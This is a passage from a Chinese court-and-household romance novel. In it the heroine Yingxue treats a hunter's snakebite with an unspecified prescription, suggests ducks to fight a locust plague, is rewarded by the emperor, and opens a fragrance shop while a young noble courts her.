苏秀蓉点头道：“那就一起去吧。”
竹清和绿绮小心翼翼地扶着老婆婆，上了马车。老婆婆的家离昙华寺不远，就在山脚下的一座村子里。老婆婆的屋子颇为偏僻，离村子有些距离，倒也落得清净。下了马车，老婆婆轻轻推开院门，院子里养了几只鸡鸭，正悠闲地踱步觅食。院子简陋却收拾得干净整洁，苏沁雪忙用帕子捂住了鼻子，嫌弃得不肯多走一步，朝苏秀蓉喊道：“大姐姐，你陪着三姐姐吧，我们先回府了，祖母还不知道我们来了这里，要是我们回去晚了，指不定要怎么担心，我们回去正好向祖母解释。”
映雪赶紧抢着回道：“还是四妹妹想得周到，四妹妹先回去吧，替我向祖母告罪。”
说罢，一行人分作了两拨，苏沁雪和苏映蓉，向莞宜带着丫鬟回了府，苏秀蓉则留了下来陪着映雪。
映雪心里暗忖，苏沁雪不在更好，省得她阴阳怪气给自己惹麻烦，身边跟着一个绵里藏针的，没一个让人省心。
老婆婆似是松了一口气，那么多人往院子里一站，只怕都挤不下了。虽然不知道这位小姑娘说的是不是真的，但也只能死马当活马医了。
老婆婆进厨房端了两碗水出来，道：“老婆子没什么好招待的，两位姑娘若是不嫌弃，就喝两口糖水吧。”映雪与苏秀蓉对视一眼，皆是一脸无奈。糖在乡下人这里可是十分珍贵的，两人端起碗来，轻轻抿了一口。映雪赶紧转开话题道：“老婆婆，你跟我说一下你儿子的具体情况，比如是哪天被咬，病情是怎样变化的。”
老婆婆也严肃起来，认真地讲述着。
“前日，他在山里追一只野兔时，未留意到脚下，只觉脚踝处一阵刺痛，似被何物叮咬。起初只是有个小红点，轻微肿痛，伴有轻微的瘙痒，他当时也未在意，继续狩猎。”老婆婆说到此处，声音微微颤抖，浑浊的双眼里满是痛苦与担忧，“回家后不久，那小红点就肿至如碗口那么大，疼痛愈发加剧。我心急如焚，赶忙捣弄了些草药敷上，可却不见丝毫效果。前夜，他就发起了高烧，整个人烧得迷迷糊糊。凌晨时，红肿竟蔓延至小腿，皮肤呈现出吓人的紫红色，出现一个个水疱，水疱中有黄色的脓液，呼吸也跟着急促起来。”老婆婆边说边用袖子抹泪，“天一亮，我就去村里求人，好说歹说，才有人帮忙把我儿子抬了去京城的医馆救治。可那大夫看了直摇头，说这是一种罕见的毒虫咬治，救不了，让我准备后事。”说罢，泪水如决堤之水，滚滚而下。
映雪听老婆婆描述，心中暗想似乎像是“五彩蝮蛇毒”，随即吩咐竹清道：“竹清，你随老婆婆进屋，瞧一下病者的情况，是不是伤口已经腐烂，且有腐血流出。”
竹清点头，跟着老婆婆进了屋。
不一会儿，竹清就出来向映雪禀告道：“姑娘，确实如您所说的那样，伤口已经腐烂严重，散发出阵阵恶臭。”
闻言，映雪松了口气，微笑着安慰老婆婆道：“老婆婆，你放心，你儿子的病我还真能治，幸
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亏还算及时。他是中了五彩蝮蛇的毒，那蛇尺寸小且行动极快，他没发现也是正常。”
随后映雪便让绿绮去马车拿了笔墨过来，写下了一道方子，并仔细交待老婆婆道：“老婆婆，这方子您拿好，尽快去药馆拿药煎服，三日后您儿子的伤口就会慢慢恢复。”
老婆婆听映雪说能治，且还开了药方，瞬间喜极而泣，身子颤抖着，似是不敢置信道：“当真？”
映雪含笑点了点头，目光坚定而温暖。
老婆婆立马朝映雪下跪，激动得声音都变了调：“多谢姑娘救了老身儿子，待我那儿子病好，我带他去向您磕头道谢，您就是他的再生父母。”
映雪忙扶起老婆婆，轻柔地道：“老婆婆，您千万别这样折煞于我，救人一命胜造七座浮屠，这是我该做的。”
老婆婆感叹道：“老婆子命好啊，这昙华寺去对了。”
映雪浅笑道：“老婆婆，你赶紧去拿方子取药吧，我们也要回去了。”说罢，示意绿绮拿了个荷包递给老婆婆。老婆婆连忙摆手推拒道：“您帮救我儿子已经是我们家的大恩人了，怎能还要您的银子。”映雪耐心劝道：“药材不一定便宜，老婆婆，您就收下吧，也让我好人做到底。”
老婆婆犹豫再三，只好收下，神情羞愧不已，双手都不知该往哪儿放。
苏秀蓉见老婆婆神情不安，便扫视了一下院子，微笑着道：“老婆婆的院子收拾的真好，菜种的水灵灵的，鸡鸭也长的壮实，想来老婆婆的儿子也定是个能干孝顺之人。”
闻言，老婆婆脸上绽放出欣慰的笑容，连连点头道：“这院子都是老身的儿子收拾的，我也就喂喂食。”
映雪见鸭子的食盘中似乎有虫子，好奇地走近细看，连忙问道：“老婆婆，鸭子的食物里怎么会有虫子?”
老婆婆笑着回道：“鸭子是杂食动物，菜地里长的虫子，刚好捉出来给鸭子吃，鸭子还能长的更壮实呢。”
映雪又追问道：“那鸭子是什么虫都能吃吗？比如蝗虫它吃不吃？”
老婆婆一边往鸭舍里添水，一边回道：“是不是所有的虫都吃，老身并不知道，不过蝗虫是吃的，以往田里的庄稼要是长了蝗虫，我们都是弄回来给鸭子吃，正好给鸭子当饲料。”
听到答案，映雪的双眸瞬间亮了起来，脸上满是兴奋之色，她激动地一拍手，心里已经有了主意，知道要如何解决虫灾之事了。
映雪赶忙跟老婆婆提出告辞，语气轻柔地说道：“老婆婆，时辰不早了，我们要回去了。您好好照顾您儿子，若是病情有什么变化，可以直接去永安侯府找我，到时候说找三姑娘就行，我会跟门房打好招呼。”说罢，映雪朝着老婆婆微微欠身行礼，带着苏秀蓉及丫鬟，转身离去。
老婆婆眼中满是感激，连连点头应道：“姑娘放心，老身记下了。”
26. 救灾
映雪与苏秀蓉踏上回府的马车，车帘一掀，苏秀蓉脸上满是惊讶之色，迫不及待地问道：“三妹妹，你何时竟有这般厉害的本事了？我虽知晓你因制香之故，或许略懂些医理，可真没想到你竟然连老大夫都治不好的病都能应对。”映雪嘴角轻扬，浅笑道：“这次纯属巧合，我之前曾在一本杂书上偶然看到过类似症状的秘方。”苏秀蓉闻言，若有所思地点点头，深以为然。
一路颠簸，终于到了侯府。刚下马车，就有伶俐的丫鬟疾步上前行礼，恭声道：“大姑娘，三姑娘，老夫人传话，让你们回来就去荣晖堂。”
两人对视一眼，心下猜测老夫人八成是要过问映雪给人治病之事。
待到了荣晖堂，只见除了大夫人，苏沁雪几人也都已然在座。待映雪行完礼，苏映蓉便按捺不住好奇，急切地问映雪道：“三妹妹，那位老婆婆儿子的病你给瞧了吗？你当真给他治病了？”
闻言，老夫人眉头微皱，神色严肃地道：“映雪，这替人看病与上次给豫亲王妃制香丸可大不相同，你当真替人看病了？而且你一个闺中姑娘，怎能不顾男女之防？”映雪微微颔首，含笑解释道：“祖母，我只是替对方开了药方，至于对方的病状，我是让丫鬟过去查看的，且这次我极有把握能将其医治。”紧接着，又目光坚定地说道：“祖母常说，救人一命胜造七级浮屠，这次可涉及两条人命，就算有流言蜚语传出，我也绝不后悔。”
老夫人见映雪信誓旦旦，神色稍有心安，可仍有些质疑地道：“你何时还学会替人治病了？这学医没有十几年的功夫怕是难以学成吧？”
映雪不慌不忙地答道：“祖母，映雪虽私下也在研习医道，但并不会替人治病，映雪只是偶然间得此一本秘方，今日那位猎户的症状刚好与秘方中的一案例相符，所以映雪才能开出药方。”
这时，大夫人插话进来，脸色冰冷，声音也透着寒意问道：“那你怎么保证你得到的那本秘方是真的秘方呢？要是是庸医胡乱编制害人的，那岂不是把整个侯府都拖进火坑。”老夫人听言，脸上顿时显出慌乱之色。
映雪不卑不亢又道：“母亲放心，上面的秘方我自是实验过的。”
闻言，大夫人情绪变得有些激动，紧追着问道：“那你那本秘方呢？可有妥善保管？”
映雪微微挑眉，轻声道：“自然有好好保管。”
大夫人紧接着又问道：“你江外祖父家名下刚好有个医馆，你那本药方可否借给医馆看几日？若真有秘方，到时母亲让医馆好好谢你。”
老夫人正欲开口阻止，便听到映雪回道：“母亲，我不能答应你，那本秘方上有明言，只有有缘人才可以使用，不可随意外传，我可是发过誓的。”
大夫人还未答话，苏沁雪便冷笑一声，阴阳怪气地道：“莫不是三姐姐舍不得把秘方献出来，故意这么说的吧？”
映雪也被激起了气恼，回道：“我自是没四妹妹那般大度，上次借了四妹妹的琴谱，不小心沾了点茶水，四妹妹就要我赔了本新的给你。”
苏沁雪被映雪气得一时语塞，“你....”
话还未出口，就被老夫人出声制住，说道：“好了，秘方是映雪发现的，说明与映雪有缘，她想怎么样就怎么样，你们也别惦记了。”说罢，还别有深意地看了一眼大夫人，大夫人顿时有些气焉。
映雪向老夫人福身道：“祖母，若没别的事，我就先回去了。”
老夫人点头，向映雪摆了摆手，示意她退下。
出了荣晖堂，映雪便脚步匆匆，直奔永安侯书房而去。书房中，永安侯正坐在书桌前奋笔疾书，头上传来书童小心翼翼的禀告声：“侯爷，三姑娘过来了。”
永安侯眉头微微一跳，沉声道：“让她进来。”
映雪刚踏进屋子，就如一阵疾风般，急冲冲朝着永安侯喊道：“爹爹，我想到虫灾的治理方法了。”
永安侯抬头，瞧见映雪一脸兴奋，发丝凌乱不堪，几缕头发从发髻中散落下来，再往下看，裙摆处也沾了些脏污，不由得眉头紧皱，呵斥道：“你看你这慌里慌张的样子，哪还有半点贵女的模样，有什么事，不能收拾好了再过来说吗？”
映雪见爹爹对自己所说的话毫无反应，反倒一味批评她的形象，着急地追问道：“爹爹，你刚到底有没有听到我在说什么啊？”
永安侯这才露出笑容，回道：“听到了，你刚才说，你想到了虫灾的救治方法，快说说，是什么方法？”
映雪扬起下巴，有些骄傲地道：“那你怎么一点都不激动？”接着又兴致勃勃地说道：“我今日才知道，原来鸭子最喜欢吃虫子，也喜欢吃蝗虫，若是用一群鸭子去救灾，这办法是可行的吧？”
闻言，永安侯眼神倏地一亮，陷入了沉思，片刻后，不住地点头赞道：“这倒是个不错的办法，只不过这鸭子要的数量不是一般的多，明天早朝为父就向皇上提出这个法子。”
映雪连忙点头，脸上洋溢着灿烂的笑容。侯爷瞧见，忍不住打趣道：“为父出差一趟，映雪可是越来越懂事了，还会替爹爹分忧了。往常时，你瞧见爹爹就生怕被爹爹问起你功课之事而逃避，别以为爹爹不知道。”
闻言，映雪赶紧收敛想哭的情绪，故作轻松，朝永安侯俏皮地吐了吐舌头道：“爹爹就当映雪是开窍了吧。”
永安侯点头笑道：“你从小就聪明，你大哥可比不过你，也幸好你是个姑娘，不然为父还要考虑这侯府由谁来继承了？”
映雪双手叉腰，自夸道：“我就算是个姑娘，也可以帮大哥一起，把侯府发扬光大，爹爹就等着瞧吧。”这番话惹得永安侯开怀大笑
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，爽朗的笑声在书房中回荡。
晨曦微露，缕缕金色的阳光透过宫阙的飞檐，洒在皇宫金殿那熠熠生辉的地砖上。殿内，文武百官整齐列于两侧，个个神色肃穆。
皇上高坐龙椅之上，一身龙袍在晨光的映照下愈发威严庄重。他目光如炬，缓缓扫过殿下群臣，沉声道：“诸位爱卿，近日中原虫灾已往周边蔓延，多地遭受虫灾肆虐，百姓苦不堪言，又过去两日了，不知诸位爱卿可有应对虫灾之策？”
殿下一片寂静，群臣面面相觑，竟无人敢率先应答。
片刻后，一位头发花白的老臣颤颤巍巍地出列，双手恭敬地拱起，声音颤抖着道：“陛下，老臣以为当速速开仓放粮，以解灾民温饱之急。”
皇上微微皱眉，脸上流露出一丝不满，道：“开仓放粮只能解一时之困，却无法根治虫灾。”
群臣皆低头不语，气氛愈发凝重，仿佛有一块巨石压在众人的心间。
就在此时，永安侯挺身而出，目光坚定，朗声道：“陛下，臣有一策，或可解虫灾之患。”
皇上神色一振，眼中满是期待，道：“爱卿快讲。”
永安侯接着说道：“鸭子喜爱食虫，若能组织大批鸭子前往灾区，或可有效治理虫灾。”
皇上听闻，眼中闪过一丝惊喜，道：“此策新奇，不妨一试。”
群臣也纷纷交头接耳，议论纷纷。
又有朝臣提出异议，道：“虫灾蔓延极快，若是只靠鸭子捕食，那得需要多少鸭子才能把蝗虫吃尽？”
这时，一道温润浑厚的声音从前方传来，“这有何难，据臣所知，鸭子的孵化期只需一个月左右，礼部可从京城开始筹备购买周边的所有鸭子，赈灾途中再沿途购买，待到灾区时，鸭子的数量自然是不可计数。”说罢，只见太子从椅子上缓缓站了起来，他面容英俊，神情坚毅，向皇上恭敬地禀告道：“父皇，儿臣愿往灾区，替灾民排忧解难，定不辜负父皇与百姓的期望。”
说完，就有一位面容严肃的朝臣急匆匆地站出队列，急切地阻止道：“不妥，不妥啊！太子乃千金之躯，且向来身体灜弱，怎可亲自前去？灾区环境艰苦，万一让病情加重了怎好？这可万万使不得！”
又有一位身材魁梧的朝臣上前一步，高声提议道：“可让三皇子代表皇室前往，三皇子英明神武，定能给百姓信心。”
说罢，朝中瞬间因救灾派遣之事，如同炸开了锅一般争执起来。大臣们有的涨红了脸，挥舞着衣袖，大声争辩；有的眉头紧锁，与身旁之人交头接耳，窃窃私语；还有的心急如焚，急得直跺脚，整个朝堂一片嘈杂。
眼见这吵声越来越大，场面愈发混乱不堪。皇上脸色阴沉，猛地一拍龙椅扶手，怒喝道：“够了！都给朕住口！朝堂之上，如此吵吵嚷嚷，成何体统！”
27. 变化
朝堂上的争执声渐渐平息，皇上目光坚定，扫视众人，朗声道：“朕意已决，此次救灾，派遣太子为正使、永安侯为副使一同前往。”
众臣皆屏息静听。
皇上接着说道：“太子统筹全局，负责调度物资，安抚灾民，务必让百姓感受到皇室的关怀与决心。”太子微微躬身，应声道：“儿臣定当不辱使命。”
“永安侯主管救灾策略的具体实施，与当地官员协同合作，尽快控制虫灾蔓延。”永安侯郑重抱拳，高声道：“臣必竭尽全力。”
接着又道，“另派景阳侯世子随同，负责太子安全调度。”说罢，转头对身边低眉顺眼的公公吩咐道：“你一会儿亲自前往景阳侯府传旨。”公公赶忙恭敬答道，“诺！”
皇上满意地点点头，威严地说道：“此行关乎百姓生计，望尔等齐心协力，早日解除虫灾之患，凯旋而归！”
太子及永安侯两人齐声回道：“遵旨！”
皇上见虫灾已有应对之法，一直紧绷的心也随之松懈下来，脸上的阴霾散去，朝着永安侯露出赞赏的笑容，赞道：“没想到苏爱卿不光能在战场上领兵打仗，如今还有这般急智应对这棘手的虫灾。”
永安侯赶忙上前几步，恭敬地说道：“皇上谬赞，此乃小女偶然提及的法子，臣实在不敢居功。”
闻言，皇上微微睁大双眼，惊讶道：“难得她一个闺中女子，也能心系国家大事，真是虎父无犬女，有赏！”说罢，仰头开怀大笑，笑声在这宫殿中回荡。
永安侯忙又上前几步，再次深深躬身，替映雪谢恩道：“臣代小女谢皇上隆恩，吾皇万岁万岁万万岁。”
随后，赏赐的旨意随永安侯一起到了侯府。侯府大门前，老夫人带着侯府众人早已整齐跪地迎接，人人神色庄重而又充满期待。
太监下了马，整理了一下衣袍，清了清嗓子，高声喊道：“圣旨到，永安侯三姑娘接旨！”
映雪款步向前，恭敬地叩头道：“臣女接旨。”
太监展开圣旨，那明黄色的绸缎在阳光下闪耀着光芒，他一字一句清晰地宣读道：“奉天承运，皇帝诏曰：永安侯之三女心系国家，献策治灾，功在社稷。特赐珍珠百斛、绫罗绸缎五十匹、黄金百两，以彰其德。钦此！”
映雪声音清脆而坚定地高呼：“谢主隆恩，吾皇万岁万岁万万岁！”
随后，太监将圣旨郑重地递给映雪，并饶有兴致地好好打量了一番眼前的女子。只见映雪眉如远黛，目若秋水，虽跪着却自有一番不凡的气度。太监不由地在心里暗赞，脸上带着真诚的笑意，向映雪道喜：“三姑娘，这可是天大的荣耀啊，恭喜姑娘！”映雪大方得体，微微一笑，命身旁的丫鬟奉上一个精致的荷包，道：“公公辛苦了。”
侯府众人皆面露喜色，纷纷谢恩。一时间，侯府上下充满了欢乐与喜庆的气氛。
大夫人站在人群之中，脸上强挤出笑容，那笑容却显得极为生硬，根本不达眼底，目光瞥向映雪手中的圣旨，眼神中却透露出一丝冷意，。
苏沁雪则咬着嘴唇，努力维持着面部的笑容，眼中的嫉妒之火仿佛要喷薄而出，死死盯着被众人簇拥着的映雪，心中满是愤懑与不平。
老夫人站在一旁，目光慈爱地瞧着映雪，只见映雪身姿挺直，面容沉静，面对圣旨和众人的注视，毫无半分怯场之态，眼中满是赞赏之色。
大夫人神情不岔，回了如意院。一进屋子，王嬷嬷赶忙迎上前来，正替大夫人松散头发。大夫人坐在铜镜前，眉头紧皱，满心不悦地问起旁边的嬷嬷道：“嬷嬷，你有没有发觉映雪那丫头近一个月来变化极大？之前沁雪就向我抱怨过，说那丫头待她也不像以前那般亲近大方了。以前那丫头对我孝顺有礼，对沁雪和敏皓也极为爱护，上次那丫头竟然为了那庶出之子，把敏皓训哭了。”说着，大夫人的语气愈发不满，脸上的表情也越发阴沉。
王嬷嬷听了，沉思片刻，缓缓道：“三姑娘最近确实是变的优秀了，风头极盛，都盖过了四姑娘。”
大夫人一听，更是气恼，猛地一拍桌子，道：“真是被那丫头给摆了一道，想来之前的蠢笨和天真都是装出来的，我们都被她骗了！”
王嬷嬷赶紧安抚大夫人，又道：“夫人莫气，再怎么风光，还是要看以后嫁得怎么样。三姑娘再怎么样优秀，嫁人这方面总比不过四姑娘去。”
闻言，大夫人这才逐渐冷静下来。她用手指轻轻理了理衣襟，吩咐王嬷嬷道：“你一会儿让丫鬟去把表姑娘喊过来。”
景阳侯府中，侯夫人正与许牧舟在屋子里商讨救灾之事。侯夫人一脸郑重，目光满是关切与担忧，叮嘱道：“你这次去中原，主要是负责保护太子，可别随意生事，不然回来，为娘可饶不了你。”
许牧舟无奈地撇撇嘴，双手一摊道：“娘，我在你眼里有这么不靠谱吗？怎么别人是去救灾，我就成是惹事的了？”
侯夫人白了他一眼，没好气地说道：“就怕你年轻气盛，碰到那贪官污吏，就要冲上去切人家脑袋。”
许牧舟顿时无话可说。接着侯夫人又叹气道：“这赏花宴的请贴还没发出去呢，你就要出城办差，这赏花宴也办不成了，苏三姑娘也见不到了，等你们办差回来，为娘定要办一场声势浩大的宴会。”
许牧舟假装随意地说道：“她与嘉柔，清平开的香丸铺子明日开张，娘若是无事可以去替她捧场。”
闻言，侯夫人眼睛一亮，脸上绽放出惊喜的笑容，赞道：“我儿眼光真不错，听说这救灾之法还是这苏三姑娘提出来的呢，皇上还为此赏
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赐于她。”说罢，又转过头，目光灼灼地看向许牧舟道：“你可给我争点气，要是这么优秀的儿媳妇被别人抢了去，我看你就准备真打光棍吧。”
许牧舟心里腹诽，是玉佩眼光好，替他选了好好媳妇，当然，他也慧眼识珠。想着想着，眉眼也不自觉地带了些许笑意。
侯夫人瞧见，忍不住打趣道：“我明日定要去她店里捧场，提前见见我那未来儿媳妇。”
许牧舟回了临风轩的书房，从抽屉中拿起那朵紫色绢花，仔细打量起来。片刻后，他朝门外喊道：“双喜，你进来。”
双喜脸上挂着笑，快步进了屋。一抬眼，瞧见世子爷正拿着女人的绢花，目光专注，那模样看起来着实有些怪异。心里虽不动声色地想着“眼前的世子爷看起来真是猥琐”，但脸上却丝毫未露神态，恭顺地问道：“世子爷，什么事？”
许牧舟装作若无其事的样子，清了清嗓子道：“上次让你去找的那些书呢？找来了没？”
双喜嘿嘿一笑，露出一口大白牙，连忙应道：“就在世子爷的书架上放着呢，小的这就给您取过来。”说着，便抬脚正要往书柜走去。
却传来许牧舟略显不自在的声音道：“行了，你下去吧。”
双喜忍住笑意，应了声“是”，便笑着退了出去。
许牧舟缓缓起身，脚步略显急切地朝着书架迈去。他伸出那双修长且骨节分明的手，略显紧张地把那几本厚重的书拿了过来。
那几本书平摊在他的手中，封面上分别龙飞凤舞地写着《女子心悦之法》《得佳人倾心秘籍》《情牵佳人的三十六计》。许牧舟定定地看着眼前这几本封面精致却让他倍感压力的书，眉头紧紧皱起，形成了一个深深的“川”字。
夜色如墨，侯府内灯火通明。映月阁中，映雪端坐在雕花梨木桌前，手中的毛笔不停挥动，在微黄的宣纸上留下一行行娟秀的字迹。
竹韵站在一旁，忍不住轻声提醒道：“姑娘，夜深了，该休息了，明日香铺开张，还要早起呢。”
映雪头也不抬，手中毛笔未停，边写边回道：“就快好了，爹爹过两日就要去赈灾，明日香铺开张我也没时间，我先把赈灾可能要用到的药方写出来，到时让爹爹带过去，或许能用得上。”
说罢，映雪稍稍停顿，又吩咐道：“明日铺子里人多，可能还需要你们帮忙，明天你和白芷，绿绮，竹清都一起去，留江嬷嬷在映月阁照看就行。”
竹韵乖巧地点点头，应声道：“那奴婢明日早起跟她们说一声。”
又过了一会儿，映雪总算完成了书写。放下手中笔，伸了个懒腰，嘴里打着哈欠，拖着有些疲惫的身子，快步走向床铺。
不多时，床榻上就传来均匀的呼吸声。
一夜安眠。
28. 开张
翌日清晨，阳光透过窗棂洒进屋内。映雪早早起身，精心梳洗打扮妥当后，身着一袭月白色绣海棠花纹的罗裙，外披一件淡粉色的薄纱披风，款步向着荣晖堂走去。
踏入荣晖堂，只见苏秀蓉、苏沁雪几人已然在堂内等候。瞧见映雪到来，苏映蓉脸上瞬间扬起热切的笑容，脚步轻快地向前迎了过来，说道：“三妹妹，你总算来了，我们现在就出发吗？”她的眼神中闪烁着期待的光芒，虽说映雪的铺子与她并无直接干系，但一想到那是与郡主、县主一起开设的铺子，今日开张必定会有不少贵夫人前去捧场，届时自己也能在那些贵夫人面前崭露头角、露个脸，心中便按捺不住激动。
映雪闻言，只是微微侧身，含笑朝苏映蓉轻轻点了点头，而后向着坐在主位上的老夫人走去。屈膝行礼请安，缓声道：“祖母，那我们一会儿就出发去香铺了。”
老夫人微微点头，目光中带着关切，说道：“今日人多，你可要多注意。”
映雪嘴角噙着一抹浅淡的笑意，回道：“祖母放心，我把四个丫鬟都带上了，且郡王府的人想来办事老练，乱不了。”
一行人浩浩荡荡地出发，马车队伍在京城的青石街道上辚辚前行，向着庆阳街的方向驶去。
待马车在店铺前缓缓停下。紧接着，旁边也传来清脆的马蹄声骤然停歇。映雪掀开车帘，只见豫亲王世子郑少臣身姿挺拔地骑在一匹高大的骏马上，身后还跟着一辆装饰华丽的马车。
郑少臣瞧见映雪，利落地下马，嘴角扬起一抹如春风般温暖的微笑，朝着映雪说道：“苏姑娘，嘉柔就麻烦你帮忙照看了，我就在对面的茶楼，要是有事，可遣人过去找我。”
映雪轻盈地跳下马车，向着郑少臣微微福身行礼，脸上绽放出一抹浅笑，回道：“世子放心，我会照看好嘉柔。”
郑少臣的眼中满是温和，微笑着说道：“今日恭喜你们。”随后，他的眼神变得诚挚，接着言道，“上次母妃的事，我还未正式谢你，待你们这两日忙完，我再亲自上门致谢。”
映雪的脸颊微微一红，谦虚道：“世子言重了，不敢当。”
这时，嘉柔也从马车上下来，脚步轻快地走了过来，笑着道：“映雪姐姐，真巧，我们一同到的呢，想来这次清平这个管事的，还比我们晚来。”
映雪听到这话，不禁轻笑出声，眉眼弯弯地说道：“好了，清平事多，哪里像我俩一样清闲，我们先进去等她吧。”说罢，映雪向豫亲王世子轻轻点了点头，便转身离开。
嘉柔则转过身，对着郑少臣俏皮地说道：“大哥，你赶紧走吧，这用不着你了。”
郑少臣一脸无奈地摇了摇头，看着两个姑娘的背影，这才翻身上马，朝着对面的茶楼而去。
映雪和嘉柔手挽着手，如两只轻盈的彩蝶般向着店铺走去。苏沁雪几人跟在后头。
店铺矗立在街道旁，两层楼的建筑显得古朴而大气。店门高大宽阔，门头上方的招牌被一块鲜艳的红布严严实实地蒙住，红布的两端还垂着长长的红绸，在微风中轻轻飘动。
待她们行至门前，一位身着长衫、面容和蔼的掌柜便满脸堆笑地迎了上来。见到映雪和嘉柔，掌柜赶忙躬身行礼，声音洪亮地唤两人“东家”。嘉柔听到这称呼，忍不住噗嗤一笑，眼睛弯成了月牙儿，“这称呼倒是新鲜，我还是第一次有人称我为东家呢。”
映雪轻轻瞥了一眼嘉柔，示意她在众人面前要收敛一些。随后，她转身面向掌柜，声音柔和却不失威严道：“您先去忙吧，我们不用招呼，一会儿清平到了，直接让她上楼找我们。”
掌柜连忙含笑道：“小的明白，县主应该也马上到了。”
映雪和嘉柔对店铺的布置都曾亲力亲为，楼上那间专门为她们留出来的雅间更是耗费了不少心思。对店铺布局极为熟悉的她们，轻车熟路地登上楼梯，进入了雅间。
雅间内布置得清新雅致，雕花的窗户透进缕缕阳光。待她们在铺着锦缎坐垫的椅子上坐下来，掌柜亲自端着托盘，送了茶水点心上来。
不一会儿，清平匆匆赶来，一脸歉意道：“在府里耽搁了一会儿，索性没误了吉时。”
映雪含着微笑，宽慰道：“我们也才刚到呢。”
今天嘉柔身为东家，心情格外愉悦，对苏沁雪几人也难得地露出了好脸色。一行人围坐在桌旁，愉快地聊天，气氛也算是融洽和睦。
正在这时，掌柜脚步轻快地上楼来，躬身邀请道：“各位东家，吉时马上就到了，要准备下来揭红了。”
映雪几人款步下了楼，在掌柜提示下，一同伸出手，轻轻揭开了门头上方那蒙着的红布。随着红布缓缓飘落，“凝香斋”三个龙飞凤舞的大字赫然落入众人眼前，在阳光的照耀下熠熠生辉。
几乎是在同一瞬间，几支舞狮队精神抖擞地出现在店铺门前。只见那些舞狮者身着鲜艳的服饰，手中的狮子头灵动威猛。伴随着欢快激昂的锣鼓声，舞狮们时而跳跃，时而翻滚，精彩的表演引得路人纷纷驻足，不一会儿就聚集了一群人，将店铺门前围得水泄不通。
掌柜满脸笑容，向着众人拱手作揖，声音洪亮地说道：“今日凝香斋开张，酬宾迎客，店内产品一律八折优惠，仅限一日，欢迎大家前来购买。”
人群中，一位身着蓝色长衫的男子提出疑问，扬声道：“掌柜的，这凝香斋是卖香品的吧？不知这凝香斋的香品有何不同之处？”说罢，周围的人们也都投来好奇的目光。
掌柜神秘一笑，眼中流露出掩饰不住的得意之色，提高音量道：“凝香斋的香丸是独一无二的，它不但有熏香之效，更有治疗的效果，在外面是买不到的，整个大乾也仅此一家。”
随后，人群中又有人满脸质疑地高声道：“说的这么神乎其神，谁知道是不是真的，这样的香丸我听都没听过。”
掌柜听到这样的质疑，脸上也并未露出气恼之色，依旧笑容满面，双手一摊，坦然笑道：“诸位不信，尽可进
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店一瞧。”
说罢，只见一群衣着华贵的夫人带着各自的丫鬟婆子浩浩荡荡地赶了过来。为首的一位夫人扬着手中的帕子，高声问道：“这里可是卖玲珑香丸的铺子？”
掌柜赶忙上前，微微躬身，含着笑恭敬地答道：“正是。”
话音刚落，那群夫人便迫不及待地朝店内走去。一进店，她们便瞧见了映雪，立刻高兴地围了过来。一位夫人眉眼弯弯，笑着说道：“苏姑娘，你果然在呢，今日我们前来捧场，可定要给我们优惠呀。”
映雪闻言，连忙起身，脸上挂着得体的笑容，温声道：“这是必然，今日各位夫人前来捧场，除了店里的八折，其它香丸不管类别，都一律满五送一。”
众人一听，脸上皆露出惊喜之色。要知道，这香丸可不便宜，最便宜的也要五两银子一盒，一盒才十颗，如今这满五送一，也就是买一盒就能多得两颗香丸，实在是划算。
随后，店门外传来一阵热闹的喧哗声，一群贵夫人在丫鬟仆人的簇拥下缓缓而来，正是景阳侯夫人一行人。景阳侯夫人走在前方，她身着一袭华贵的绛紫色锦缎长袍，上面绣着精美的牡丹花纹，发髻上簪着金步摇，随着她的步伐轻轻摇曳，浑身上下散发着一种高贵威严的气势。
她一踏入店内，原先在店内的那些夫人立刻如众星拱月般围了上去，纷纷屈膝行礼，嘴里热切地问候着。嘉柔瞧见景阳侯夫人，眼睛一亮，赶忙提起裙摆，快步向前迎了过去，脸上洋溢着开心的笑容，甜甜地唤着：“夫人，您怎么也过来啦？是听我母妃说的吗？”
景阳侯夫人嘴角微微上扬，眼中带着笑意，轻声说道：“是你牧舟哥哥告诉我，你们店铺今日开张，让我前来捧场。”
嘉柔听了，脸上露出诧异的神情，眨巴着眼睛道：“牧舟哥哥何时还管这些事啦？”
景阳侯夫人只是含笑不语。这时，她的目光越过嘉柔，落在了嘉柔身后的映雪身上，瞬间眼神一亮。
景阳侯夫人上前一步，亲切地问道：“这位便是苏三姑娘吧？”
映雪闻言，上前微微屈膝见礼，双手交叠置于身侧，福身道：“侯夫人安好。”
景阳侯夫人仔细端详着映雪，见她面容娇俏绝美，举止又落落大方，心中不由得一阵欣喜，开口夸赞道：“听闻这次虫灾方案，也是苏三姑娘提出的意见，苏三姑娘真是才貌双全。”
映雪听了，脸颊微微一红，含羞带怯地说道：“只是碰巧罢了，夫人才是美艳高贵，映雪远远不及。”
侯夫人爽朗一笑，伸手从自己的手腕上退下一只晶莹剔透的翡翠手镯，作势要给映雪戴上。映雪连忙摆手推辞，脸上露出惶恐之色。
侯夫人见状，故作恼怒地说道：“长者赐，不可辞，我今日一见苏三姑娘，便就喜欢，莫要嫌弃。”
映雪无奈，只好收下，轻声道谢。
景阳侯夫人这才高兴起来，拉着映雪的手，带着一群夫人，兴致勃勃地逛起铺子来。
29. 琼华阁
对面的茶楼中，郑少臣与许牧舟相对而坐。窗外阳光斜照，在桌上投下斑驳的光影。郑少臣正滔滔不绝地说着救灾之事，可说着说着，却发现许牧舟的眼神老是不自觉地往对面的“凝香斋”瞟去。他不由地停下话语，好奇地问道：“我怎觉得，今日的你与往常不同呢？你什么时候有这耐心陪侯夫人逛铺子了？”
许牧舟闻言，随意地往背椅上一靠，双腿交叠，懒洋洋地说道：“你今日倒也是个贴心大哥了。”
郑少臣听了，不禁轻笑出声，摇了摇头，也不再继续追问，而是换了个话题道：“你们哪日出发？”
许牧舟伸手拿起桌上的茶杯，轻轻吹去浮在表面的茶叶，浅饮一口，缓缓说道：“后日。”
郑少臣微微皱眉，又问道：“救灾的法子当真可行？”顿了顿，接着道：“要是父王安排给我的不是别的事，我也想随你们一道去了。”
许牧舟放下茶杯，双手抱胸，神色笃定地应道：“法子我与太子仔细推敲过，自是可行的。”
闻言，郑少臣则有些惊讶，双目圆睁，“不曾想，这苏三姑娘不仅是容貌过人，这才华也是了得。”说罢，他手托下巴，一副若有所思的样子。
许牧舟瞧见他这副模样，心里咯噔一下，暗想：这郑少臣莫不是也看上那丫头了吧？心里顿时颇有些不是滋味。于是赶紧岔开话题道：“王爷让你监管打造的那批兵器，可有成效？”
郑少臣无奈地摇头道：“还是不得其法，效果差强人意。”
